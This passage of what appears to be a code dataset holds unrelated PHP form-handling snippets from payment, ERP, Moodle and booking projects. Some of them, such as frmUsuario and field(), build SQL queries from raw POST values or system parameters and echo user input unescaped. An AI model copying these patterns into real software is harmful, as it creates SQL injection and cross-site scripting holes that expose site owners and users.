\"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoQuatro'),\n\t\t\t \"default\" => \"Juros de mora de 0,1% ao dia.\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\n\t\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilaceite'] = array(\"name\" => \"Aceite\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilAceite'),\n\t\t\t \"default\" => \"N\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilespeciedoc'] = array(\"name\" => \"Esp&eacute;cie do documento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilEspecieDoc'),\n\t\t\t \"default\" => \"DS\",\n\t\t\t \"required\" => false\n\t\t\t);\n\n\t\t\t$this->_variables['boletobancodobrasilespecie'] = array(\"name\" => \"Esp&eacute;cie de cobran&ccedil;a\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilEspecie'),\n\t\t\t \"default\" => \"R$\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\n\t\t\t$this->_variables['boletobancodobrasilcpfcnpj'] = array(\"name\" => \"CPF ou CNPJ do Boleto\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCNPF'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\n\t\t$this->_variables['boletobancodobrasildiasparavencimento'] = array(\"name\" => \"Dias para vencimento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilVence'),\n\t\t\t \"default\" => \"10\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t\t\t\t$this->_variables['postagem'] = array(\"name\" => \"LINK de Repagamento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => \"URL para Repagamento\",\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletobancodobrasil/boleto_bancodobrasil.php?boleto=\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t$this->_variables['imagems'] = array(\"name\" => \"IMAGEM de Repagamento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => \"URL para Repagamento\",\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletobancodobrasil/images/logo.gif\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\n\n\n\t$this->_variables['helptext'] = array(\"name\" => \"Mais configura&ccedil;&otilde;es\",\n\t\t\t \"type\" => \"textarea\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInst'),\n\t\t\t \"default\" => \"Voc&ecirc; escolheu pagar com Boleto Banc&aacute;rio do Banco do Brasil.\\nPara reimprimir seu boleto clique no bot&atilde;o abaixo.<br>\",\n\t\t\t \"required\" => true,\n\t\t\t \"rows\" => 7\n\t\t\t);\n\t\t\t\n\n\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "function calcular()\n\t\t{\n\t\t\tif ($_SERVER['REQUEST_METHOD']=='POST') {\n\t\t\t//Guardamos en un arreglo lo que recibimos de la vista via POST\t\n\t\t\t\t//enviamos ala funcion insertPersons del Modelo de personas \n\t\t\t\t//el arreglo previamente recibido\n\t\t\t\t $listado = $this->_estadisticaModel->getActividades($_POST['fechai'],$_POST['fechaf']);\n\t\t\t\t $listado2 = $this->_estadisticaModel->getMateriales_x_actividades($_POST['fechai'],$_POST['fechaf']);\n\t\t\t\t $listado1 = $this->_estadisticaModel->getCantidad($_POST['fechai'],$_POST['fechaf']);\n\t\t\t\t $this->_view->_fechai = $_POST['fechai'];\n\t\t\t\t $this->_view->_fechaf = $_POST['fechaf'];\n\t\t\t\t $this->_view->_listado2 = $listado2;\n\t\t\t\t $this->_view->_listado = $listado;\n\t\t\t\t $this->_view->_listado1 = $listado1;\n\t\t\t\t $this->_view->render(\"estadistica\",'','',$this->_sidebar_menu);\n\t\t\t\t \n\t\t\t\t//redireccionamos al listado\n\t\t\t}else{\n\t\t\t\t//se muestra la ventana si no es via post\n\t\t\t\t$this->_view->render(\"insert\",'','',$this->_sidebar_menu);\n\t\t\t}\n\t\t\t\n\t\t}", "public function valordelospasajesplus();", "function defform()\n\t{\n\t\t// Definisi elemen form untuk data teman\n\t\t$noteman = array(\n\t\t\t\t\"name\"\t\t=> \"noteman\",\n\t\t\t\t\"id\"\t\t=> \"noteman\",\n\t\t\t\t\"maxlenght\"\t=> \"4\",\n\t\t\t\t\"size\"\t\t=> \"3\",\n\t\t\t\t\"value\"\t\t=> \"\",\n\t\t\t\t\"style\"\t\t=> \"background:red;\"\n\t\t\t);\n\n\t\t$namateman = array(\n\t\t\t\t\"name\"\t\t=> \"namateman\",\n\t\t\t\t\"id\"\t\t=> \"namateman\",\n\t\t\t\t\"maxlenght\"\t=> \"50\",\n\t\t\t\t\"size\"\t\t=> \"35\",\n\t\t\t\t\"value\"\t\t=> \"\",\n\t\t\t\t\"style\"\t\t=> \"background:cyan;\"\n\t\t\t);\n\n\t\t$notelp = array(\n\t\t\t\t\"name\"\t\t=> \"notelp\",\n\t\t\t\t\"id\"\t\t=> \"notelp\",\n\t\t\t\t\"maxlenght\"\t=> \"15\",\n\t\t\t\t\"size\"\t\t=> \"13\",\n\t\t\t\t\"value\"\t\t=> \"\",\n\t\t\t\t\"style\"\t\t=> \"background:cyan;\"\n\t\t\t);\n\n\t\t$email = array(\n\t\t\t\t\"name\"\t\t=> \"email\",\n\t\t\t\t\"id\"\t\t=> \"email\",\n\t\t\t\t\"maxlenght\"\t=> \"35\",\n\t\t\t\t\"size\"\t\t=> \"25\",\n\t\t\t\t\"value\"\t\t=> \"\",\n\t\t\t\t\"style\"\t\t=> \"background:cayn;\"\n\t\t\t);\n\t\t// end definisi\n\n\t\t$atableteman = [\n\t\t\t\"noteman\"\t=> $noteman,\n\t\t\t\"namateman\"\t=> $namateman,\n\t\t\t\"notelp\"\t=> $notelp,\n\t\t\t\"email\"\t\t=> $email\n\t\t];\n\n\t\treturn $atableteman;\n\t}", "public function getFormValues() {\n return $this->values[HVAL_FORMPARAM];\n }", "function form_init_elements() \r\n {\r\n //we want an confirmation page for this form.\r\n //$this->set_confirm();\r\n\r\n //Crea una caja de texto llamada nombre y longitud 50\r\n $elemT = new FEText(\"Asunto\", FALSE, 50);\r\n //$elemT->set_style_attribute('align', 'right');\r\n //Le asignamos el id nombre y la tecla de acceso n (ctrl+n)\r\n $elemT->set_attribute(\"id\",\"asunto\");\r\n $elemT->set_attribute(\"accesskey\",\"n\"); \r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemT);\r\n\t\r\n //Creamos un Area de Texto llamada comentario\r\n $elemTA = new FETextArea(\"Comentario\", FALSE, 10, 60,\"500px\", \"100px\");\r\n $elemTA->set_attribute('wrap', 'physical');\r\n //Le asignamos el id email y la tecla de acceso c (ctrl+c) \r\n $elemTA->set_attribute(\"id\",\"comentario\");\r\n $elemTA->set_attribute(\"accesskey\",\"d\");\r\n //Añade en el contenedor formulario el elemento creado e inicializado\r\n $this->add_element($elemTA);\r\n\r\n //Añade un campo oculto llamado id. En ocasiones este campo se utiliza para indicar ciertas operaciones.\r\n //OJO!! es un punto sensible porque el usuario podría cambiar su valor de forma inexperada para el código.\r\n// $this->add_hidden_element(\"id\");\r\n\r\n //Añade un boton con la acción submit\r\n $submit = $this->_formatElem(\"base_SubmitButton\", \"Aceptar\", \"submit\", agt(\"miguel_Enter\"));\r\n //$submit->set_attribute('id',''); \r\n $submit->set_attribute('accesskey','e'); \r\n $this->add_element($submit); \r\n\t\t\t\t\r\n\t\t\t\t$this->add_hidden_element('status');\r\n \t\t$this->set_hidden_element_value('status', 'new');\r\n }", "public function controlVariables() {\n\n $validacion = false;\n\n if (\n (count($_POST) > 0) && isset($_POST['kk_control_form']) && ($_POST['kk_control_form'] == $this->_kk_control_form)\n ) {\n $validacion = true;\n\n if (count($this->_formulario) > 0) {\n foreach ($this->_formulario[$this->_kk_control_form] as $key => $valor) {\n if ($valor['obligatorio'] == 'no_nulo') {\n if (isset($_POST[$key]) && is_array($_POST[$key])) {\n $valor_nulo = false;\n foreach ($_POST[$key] as $valor_post) {\n if (isset($valor_post) && $valor_post != '') {\n $valor_nulo = true;\n }\n }\n $validacion = $valor_nulo;\n } elseif ((!isset($_POST[$key]) || $_POST[$key] == '')) {\n $validacion = false;\n }\n }\n }\n\n if ($this->_captcha === false) {\n $validacion = false;\n }\n }\n }\n\n return $validacion;\n }", "public function values()\n {\n }", "function recuperar_datos() {\n\t\tglobal $nombre, $tipo ;\n\t\t\n\t\t\t$pers_id =(isset($_POST['id_marcas']) && !empty($_POST['id_marcas']))? $_POST['id_marcas']:\"\";\n\t\t\t$tipo =(isset($_POST['tipo']) && !empty($_POST['tipo']))? $_POST['tipo']:\"A\"; \t\n\n\t\t\t$nombre=(isset($_POST[\"nombre\"]) && !empty($_POST[\"nombre\"]))? $_POST[\"nombre\"]:\"\";\t\t\t\n\t\n\t\t}", "function frmUsuario() {\n\tif (isset($_POST[selGerencia]) && $_POST[selGerencia]==100) {\n\t\t\t$_POST[selDivision]=100;\n\t\t\t$_POST[selDepartamento]=100;\n\t}\n\trequire_once \"conexionsql.php\";\n\t\t$conCargo=\"select id_cargo,cargo from cargo where status_activo=1 order by cargo \";\n\t\t$conSitio=\"select id_sitio,sitio from sitio where status_activo=1 order by sitio\";\n\t\t$conGerencia=\"select id_gerencia,gerencia from gerencia where status_activo=1 order by gerencia\";\n\t\t$conDivision=\"select id_division,division from division where id_gerencia='$_POST[selGerencia]' and status_activo=1 order by division\";\n\t\t$conDepartamento=\"select id_departamento, departamento from departamento where id_division='$_POST[selDivision]' and status_activo=1 ORDER BY departamento\";\n\n\t\t$ficha= new campo(\"txtFicha\",\"text\",\"formularioCampoTexto\",\"$_POST[txtFicha]\",\"8\",\"8\",\"onKeyPress\",\"if (event.keyCode > 47 && event.keyCode > 58) event.returnValue = false;\");\n\t\t$txtFicha=$ficha->retornar();\n\n\t\t$cedula= new campo(\"txtCedula\",\"text\",\"formularioCampoTexto\",\"$_POST[txtCedula]\",\"8\",\"8\",\"onKeyPress\",\"if (event.keyCode > 47 && event.keyCode > 58) event.returnValue = false;\");\n\t\t$txtCedula=$cedula->retornar();\n\n\t\t$nombres= new campo(\"txtNombres\",\"text\",\"formularioCampoTexto\",\"$_POST[txtNombres]\",\"30\",\"30\");\n\t\t$txtNombres=$nombres->retornar();\n\n\t\t$apellidos= new campo(\"txtApellidos\",\"text\",\"formularioCampoTexto\",\"$_POST[txtApellidos]\",\"30\",\"30\");\n\t\t$txtApellidos=$apellidos->retornar();\n\n\t\t$cargo= new campoSeleccion(\"selCargo\",\"formularioCampoSeleccion\",\"$_POST[selCargo]\",\"\",\"\",$conCargo,\"--CARGO--\",\"\");\n\t\t$selCargo=$cargo->retornar();\n\n\t\t$sitio= new campoSeleccion(\"selSitio\",\"formularioCampoSeleccion\",\"$_POST[selSitio]\",\"\",\"\",$conSitio,\"--UBICACION--\",\"\");\n\t\t$selSitio=$sitio->retornar();\n\n\t\t$gerencia= new campoSeleccion(\"selGerencia\",\"formularioCampoSeleccion\",\"$_POST[selGerencia]\",\"onChange\",\"cambiarSeleccion()\",$conGerencia,\"--GERENCIA--\",\"\");\n\t\t$selGerencia=$gerencia->retornar();\t\t\n\n\t\t$division= new campoSeleccion(\"selDivision\",\"formularioCampoSeleccion\",\"$_POST[selDivision]\",\"onChange\",\"cambiarSeleccion()\",$conDivision,\"--DIVISION--\",\"\");\n\t\t$selDivision=$division->retornar();\n\n\t\t$departamento= new campoSeleccion(\"selDepartamento\",\"formularioCampoSeleccion\",\"$_POST[selDepartamento]\",\"onChange\",\"cambiarSeleccion()\",$conDepartamento,\"--DEPARTAMENTO--\",\"\");\n\t\t$selDepartamento=$departamento->retornar();\t\t\n\n\t\t$extension= new campo(\"txtExtension\",\"text\",\"formularioCampoTexto\",\"$_POST[txtExtension]\",\"30\",\"30\");\n\t\t$txtExtension=$extension->retornar();\n\t\t\n\t\t$email= new campo(\"txtEmail\",\"text\",\"formularioCampoTexto\",\"$_POST[txtEmail]\",\"30\",\"50\");\n\t\t$txtEmail=$email->retornar();\n\t\t\n\techo \"<form name=\\\"frmUsuario\\\" method=\\\"post\\\" action=\\\"\\\">\";\n\techo \"<input name=\\\"funcion\\\" type=\\\"hidden\\\" value=\\\"1\\\">\";\n\n\techo \"<table class=\\\"formularioTabla\\\"align=center width=\\\"200\\\" border=\\\"0\\\">\";\n\t\techo \"<tr>\";\n\t\t\techo \"<td class=\\\"tituloPagina\\\" colspan=\\\"2\\\">ADMINCAU - NUEVO USUARIO</td>\n \t\t\t\t</tr>\";\n\t\techo \"<tr>\";\n\t\t\techo \"<td class=\\\"formularioTablaTitulo\\\">DATOS DEL USUARIO</td>\n \t\t\t\t</tr>\n\t\t<tr>\n \t\t<td valign=top class=\\\"formularioCampoTitulo\\\">FICHA<br>\n\t\t\t$txtFicha<br>\n\t\t\tCEDULA<br>$txtCedula<br>\n\t\t\tNOMBRES<br>$txtNombres<br>\n\t\t\tAPELLIDOS<br>$txtApellidos<br>\n\t\t\tCARGO<br>$selCargo<br>\n\t\t\tUBICACION<br>$selSitio<br>\n\t\t\tGERENCIA<br>$selGerencia<br>\n\t\t\tDIVISION<br>$selDivision<br>\n\t\t\tDEPARTAMENTO<br>$selDepartamento<br>\n\t\t\tEXTENSION<br>$txtExtension<br>\n\t\t\tCORREO<br>$txtEmail<br>\n\t\t\t</td>\n\t\t</tr>\";\n\t \techo \"<tr>\";\n\t\t\techo \"<td class=\\\"formularioTablaBotones\\\" colspan=\\\"2\\\"><input name=\\\"btnLimpiar\\\" type=\\\"button\\\" value=\\\"LIMPIAR\\\" onclick=\\\"location.href='index2.php?item=23'\\\">\n\t\t\t<input name=\\\"btnGuardar\\\" type=\\\"submit\\\" value=\\\"GUARDAR\\\"></td>\n \t\t\t\t</tr>\";\n\techo \"</table>\";\n\techo \"</form>\";\t\n\t\n\t}", "public function setAttributes()\n\t{\n\t\t$this->title \t\t= Input::get( 'title' );\n\t\t$this->description \t= Input::get( 'description' );\n\t\t$this->color \t\t= Input::get( 'color' );\n\t\t$this->type \t\t= Input::get( 'type' );\n\t\t$this->canvas_id\t= Input::get( 'canvas_id', Input::get( 'canvasId' ) );\n\t}", "public function setForm() {\n\t\t$translator = Zend_Registry::get('Zend_Translate');\n\t\t$this->setMethod('post');\n\t\t \n\t\t$this->addEnabled();\n\t\t$this->addRentDueDay();\n\t\t$this->addProrationType();\n\t\t$this->addProrationApplyMonth();\n\t\t$this->addSecondMonthDue();\n\t\t$this->addSubmitButton();\n\n\t\t$this->addDisplayGroup( $this->displayGroupArray, 'updateRentProrationSetting',array('legend' => 'rentProrationSettings'));\n\t\t$this->getDisplayGroup('updateRentProrationSetting')->setDecorators(array(\n 'FormElements',\n 'Fieldset', \n\t\t));\n\t}", "public function GruporModelo()\n\t\t{\n\t\t\t$id = \"\";\n\t\t\t$numero = \"\";\n\t\t\t$franja = \"\";\n\t\t}", "private function _set_fields()\n {\n @$this->form_data->survey_id = 0;\n $this->form_data->survey_title = '';\n $this->form_data->survey_description = '';\n $this->form_data->survey_status = 'open';\n $this->form_data->survey_anms = 'yes';\n $this->form_data->survey_expiry_date = '';\n $this->form_data->question_ids = array();\n\n $this->form_data->filter_survey_title = '';\n $this->form_data->filter_status = '';\n }", "public function setDetails(){\n $this->user_id=$this->clearInputs($_POST['user_id']);\n $this->user_type=$this->clearInputs(substr($_POST['user_id'],0,3));\n $this->name=$this->clearInputs($_POST['name']);\n $this->office_id=$this->clearInputs($_POST['office_id']);\n $this->designation=$this->clearInputs($_POST['designation']);\n $this->nic=$this->clearInputs($_POST['nic']);\n $this->contact_no=$this->clearInputs($_POST['contact_no']);\n $this->email=$this->clearInputs($_POST['email']);\n $this->hashed_password=password_hash($this->generateRandomPassword(8),PASSWORD_DEFAULT);\n \n }", "protected function getConfigFormValues()\n {\n return array(\n 'MYETICKETS_CGV' => Configuration::get('MYETICKETS_CGV', '[email protected]'),\n 'MYETICKETS_PERIOD' => Configuration::get('MYETICKETS_PERIOD', null),\n );\n }", "public function getRegistrationValues()\n\t{\n\t\t$settings = $this->setup->getClient()->getAllSettings();\n\t\t$nic_key = $this->setup->getClient()->getNICkey();\n\n\n\t\t$values = array();\n\n\t\tif (!isset($settings[\"nic_enabled\"]) or $settings[\"nic_enabled\"] == \"1\")\n\t\t{\n\t\t\t$values[\"register\"] = 1;\n\t\t}\n\t\t/*elseif ($settings[\"nic_enabled\"] == \"2\")\n\t\t{\n\t\t\t$this->tpl->setVariable(\"EMAIL\",$checked);\n\t\t}*/\n\t\telse\n\t\t{\n\t\t\t$values[\"register\"] = 0;\n\t\t}\n\n\t\t$this->form->setValuesByArray($values);\n\t}", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->k142_sequencial = ($this->k142_sequencial == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_sequencial\"]:$this->k142_sequencial);\n $this->k142_idret = ($this->k142_idret == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_idret\"]:$this->k142_idret);\n $this->k142_processo = ($this->k142_processo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_processo\"]:$this->k142_processo);\n if($this->k142_dataprocesso == \"\"){\n $this->k142_dataprocesso_dia = ($this->k142_dataprocesso_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_dataprocesso_dia\"]:$this->k142_dataprocesso_dia);\n $this->k142_dataprocesso_mes = ($this->k142_dataprocesso_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_dataprocesso_mes\"]:$this->k142_dataprocesso_mes);\n $this->k142_dataprocesso_ano = ($this->k142_dataprocesso_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_dataprocesso_ano\"]:$this->k142_dataprocesso_ano);\n if($this->k142_dataprocesso_dia != \"\"){\n $this->k142_dataprocesso = $this->k142_dataprocesso_ano.\"-\".$this->k142_dataprocesso_mes.\"-\".$this->k142_dataprocesso_dia;\n }\n }\n $this->k142_titular = ($this->k142_titular == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_titular\"]:$this->k142_titular);\n $this->k142_observacao = ($this->k142_observacao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_observacao\"]:$this->k142_observacao);\n }else{\n $this->k142_sequencial = ($this->k142_sequencial == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"k142_sequencial\"]:$this->k142_sequencial);\n }\n }", "function atualizacampos($exclusao=false) {\n if($exclusao==false){\n $this->tf28_i_codigo = ($this->tf28_i_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_i_codigo\"]:$this->tf28_i_codigo);\n $this->tf28_i_situacao = ($this->tf28_i_situacao == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_i_situacao\"]:$this->tf28_i_situacao);\n $this->tf28_i_pedidotfd = ($this->tf28_i_pedidotfd == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_i_pedidotfd\"]:$this->tf28_i_pedidotfd);\n if($this->tf28_d_datasistema == \"\"){\n $this->tf28_d_datasistema_dia = ($this->tf28_d_datasistema_dia == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_d_datasistema_dia\"]:$this->tf28_d_datasistema_dia);\n $this->tf28_d_datasistema_mes = ($this->tf28_d_datasistema_mes == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_d_datasistema_mes\"]:$this->tf28_d_datasistema_mes);\n $this->tf28_d_datasistema_ano = ($this->tf28_d_datasistema_ano == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_d_datasistema_ano\"]:$this->tf28_d_datasistema_ano);\n if($this->tf28_d_datasistema_dia != \"\"){\n $this->tf28_d_datasistema = $this->tf28_d_datasistema_ano.\"-\".$this->tf28_d_datasistema_mes.\"-\".$this->tf28_d_datasistema_dia;\n }\n }\n $this->tf28_c_horasistema = ($this->tf28_c_horasistema == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_c_horasistema\"]:$this->tf28_c_horasistema);\n $this->tf28_c_obs = ($this->tf28_c_obs == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_c_obs\"]:$this->tf28_c_obs);\n $this->tf28_i_login = ($this->tf28_i_login == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_i_login\"]:$this->tf28_i_login);\n }else{\n $this->tf28_i_codigo = ($this->tf28_i_codigo == \"\"?@$GLOBALS[\"HTTP_POST_VARS\"][\"tf28_i_codigo\"]:$this->tf28_i_codigo);\n }\n }", "function set_values() {\n\t\tparent::set_values();\n\t\t$currency = new currency($this->_currency_id);\n\t\t\n\t\t$this->order_id->value = $this->_order_id;\n\t\t$this->timestamp->value = date(\"j M Y\");\n\t\t$this->total_amount->value = $currency->format_money($this->_total_amount);\n\t}", "public function definition() {\n\t\t\tglobal $CFG, $DB;\t\n\t\t\n\t\t$mform = $this->_form; // Don't forget the underscore!\n\t\n\t\t$result= $DB->get_records_sql(\"SELECT DISTINCT `intensidad` FROM `mdl_ejercicios`\");\n\t\t$result_tren= $DB->get_records_sql(\"SELECT DISTINCT `categoria` FROM `mdl_ejercicios`\");\n\t\t$options= array();\n\t\tforeach($result as $rs)\n\t\t\t\t$options[$rs->intensidad] = $rs->intensidad;\n\t\t\n\t\t$options_tren= array();\n\t\tforeach ($result_tren as $rst)\n\t\t\t$options_tren[$rst->categoria]= $rst->categoria;\n\t\t$mform->addElement('header', 'header', 'Para crear una rutina aleatoria');\n\t\t\n\t\t$mform->addElement('select', 'intensidad', '¿Qué intensidad quieres?:',$options);\n\n\t\t//$mform->addElement('select', 'categoria', '¿Qué tren de tu cuerpo quieres trabajar?:',$options_tren);\n\t\t\n\t\t\n\t\t$buttonarray=array();\n\t\t$buttonarray[] = &$mform->createElement('submit', 'submitbutton', 'Buscar rutina');\n\t\t$buttonarray[] = &$mform->createElement('reset', 'resetbutton', 'Resetear');\n\t\t$buttonarray[] = &$mform->createElement('cancel', 'cancel', 'Cancelar');\n\t\t$mform->addGroup($buttonarray, 'buttonar', '', array(' '), false);\n\t\t$mform->addElement('hidden', 'end');\n\t\t$mform->setType('end', PARAM_NOTAGS);\n\t\t$mform->closeHeaderBefore('end');\n\t}", "public function form()\n {\n $this->number('month', '贷款月数')\n ->min(1)\n ->max(360)\n ->required();\n $this->number('total', '贷款总额')\n ->required();\n $this->rate('rate', '贷款利率')\n ->required();\n $this->radio('type', '还款方式')\n ->options(Loan::$typeMap)\n ->required();\n\n $this->html('等额本金法与等额本息法并没有很大的优劣之分,大部分是根据每个人的现状和需求而定的。');\n $this->html('<a target=\"_blank\" href=\"https://zhuanlan.zhihu.com/p/61140535\">等额本息和等额本金的区别!</a>');\n }", "function field(){\n\t\t\t$this->aah->check_access();\n\n\t\t\t$nav_id = $this->aah->get_nav_id(__CLASS__.'/field');\n\t\t\t$read_access = $this->aah->check_privilege('read',$nav_id);\n\t\t\t$add_access = $this->aah->check_privilege('add',$nav_id);\n\n\t\t\tif($read_access)\n\t\t\t{\n\t\t\t\t$this->global_model->reinitialize_dao();\n\t\t\t\t$dao = $this->global_model->get_dao();\n\t\t\t\t$data['active_url'] = str_replace('::','/',__METHOD__);\n\t\t\t\t$data['dt2_rows'] = $dao->execute(0,\"SELECT * FROM ref_dt2 WHERE provinsi_id='\".$this->_SYS_PARAMS[1].\"'\")->result_array();\n\t\t\t\t$data['form_id'] = \"search-school-form\";\n\t\t\t\t$data['active_controller'] = $this->active_controller;\n\t\t\t\t$data['containsTable'] = true;\n\t\t\t\t$data['add_access'] = $add_access;\n\t\t\t\t$this->backoffice_template->render($this->active_controller.'/field/index',$data);\n\t\t\t}else{\n\t\t\t\t$this->error_403();\n\t\t\t}\n\t\t}", "function ini__operacion (){\n \n //obtenemos el arreglo almacenado en la operacion \"aulas disponibles\". Su formato es :\n //Array ('id_aula'=>x 'hora_inicio'=>x 'hora_fin'=>x)\n $datos_ad=toba::memoria()->get_parametros();\n //esta condicion es fundamental para no quedarnos en la misma pantalla\n if(isset($datos_ad['id_aula'])){\n $this->s__accion=\"Vinculo\";\n $this->s__aula_disponible=$datos_ad;\n \n //eliminamos la informacion guardada en el arreglo $_SESSION\n toba::memoria()->limpiar_memoria();\n $this->set_pantalla('pant_persona');\n }\n }", "protected function getConfigFormValues()\n {\n return array(\n 'PROMO_LIVE_MODE' => Configuration::get('PROMO_LIVE_MODE', true),\n 'PROMO_ACCOUNT_EMAIL' => Configuration::get('PROMO_ACCOUNT_EMAIL', '[email protected]'),\n 'PROMO_ACCOUNT_PASSWORD' => Configuration::get('PROMO_ACCOUNT_PASSWORD', null),\n 'PROMO_IMAGE' => Configuration::get('PROMO_IMAGE', null),\n 'PROMO_IMAGE_DATE_DEBUT' => Configuration::get('PROMO_IMAGE_DATE_DEBUT', null),\n 'PROMO_IMAGE_DATE_FIN' => Configuration::get('PROMO_IMAGE_DATE_FIN', null),\n );\n }", "public function getContactValues()\n\t{\n\n\t\t$settings = $this->setup->getClient()->getAllSettings();\n\n\t\t$values = $settings;\n\n\t\t$values[\"inst_name\"] = ($this->setup->getClient()->getName())\n\t\t\t? $this->setup->getClient()->getName()\n\t\t\t: $this->setup->getClient()->getId();\n\t\t$values[\"inst_info\"] = $this->setup->getClient()->getDescription();\n\n\t\t$this->form->setValuesByArray($values);\n\t}", "public function form()\n {\n $this->setData();\n }", "protected function Campos()\n {\n $select = [\n ['value' => 'id1', 'text' => 'texto1'],\n ['value' => 'id2', 'text' => 'texto2']\n ];\n $this->text('unInput')->Validator(\"required|maxlength:20\");\n $this->text('unSelect')->Validator(\"required\")->type('select')->in_options($select);\n $this->date('unDate')->Validator(\"required\");\n }", "private static function data_form(){\n\t\t\t\n\t\t\t\n\t\t\t$data_form = array();\n\t\t\t\n\t\t\tif(isset($_POST['v_super_pay'])){\n\t\t\t\t\n\t\t\t\t$data_form['vehicle_type'] = $_POST['v_type'];\n\t\t\t\t$data_form['service_package'] = $_POST['s_package'];\n\t\t\t\t$data_form['service_type'] = $_POST['service_type'];\n\t\t\t\t$data_form['car_re'] = $_POST['car_reg'];\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(isset( $_POST['extras'])){\n\t\t\t\t\t\n\t\t\t\t\t$data_form['extra'] = $_POST['extras'];\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$v_price = 0;\n\t\t\t\t\t$s_price = 0;\n\t\t\t\t\t$s_pack_price = 0;\n\t\t\t\t\t$ex_s_price = 0;\n\t\t\t\t\n\t\t\t\t\n\t\t\tif($data_form['vehicle_type'] == 'sedan'){\n\t\t\t\t\n\t\t\t\t$v_price = 150;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t}else if($data_form['vehicle_type'] == 'hatchback'){\n\t\t\t\t\n\t\t\t\t$v_price = 175;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t\t\n\t\t\t}else if($data_form['vehicle_type'] == 'suv'){\n\t\t\t\t\n\t\t\t\t$v_price = 190;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t\t\n\t\t\t}else if($data_form['vehicle_type'] == 'minibus'){\n\t\t\t\t\n\t\t\t\t$v_price = 250;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t}else if($data_form['vehicle_type'] == 'truck'){\n\t\t\t\t\n\t\t\t\t$v_price = 260;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t}else if($data_form['vehicle_type'] == 'motorbike'){\n\t\t\t\t\n\t\t\t\t$v_price = 130;\n\t\t\t\t$data_form['v_price'] = $v_price;\n\t\t\t\t\n\t\t\t\t\n\t\t\t}// End of first if group\n\t\t\t\t\n\t\t\t\tif($data_form['service_package'] == 'standard'){\n\t\t\t\t\t\n\t\t\t\t\t$s_pack_price = 280;\n\t\t\t\t\t$data_form['s_pack'] = $s_pack_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t$s_pack_price = 320;\n\t\t\t\t\t$data_form['s_pack'] = $s_pack_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}// End of second if group\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif($data_form['service_type'] == 'ineterio'){\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$s_price = 30;\n\t\t\t\t\t$data_form['s_type'] = $s_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else if($data_form['service_type'] == 'exterior'){\n\t\t\t\t\t\n\t\t\t\t\t$s_price = 40;\n\t\t\t\t\t$data_form['s_type'] = $s_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}else{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$s_price = 65;\n\t\t\t\t\t$data_form['s_type'] = $s_price;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}// End of third if 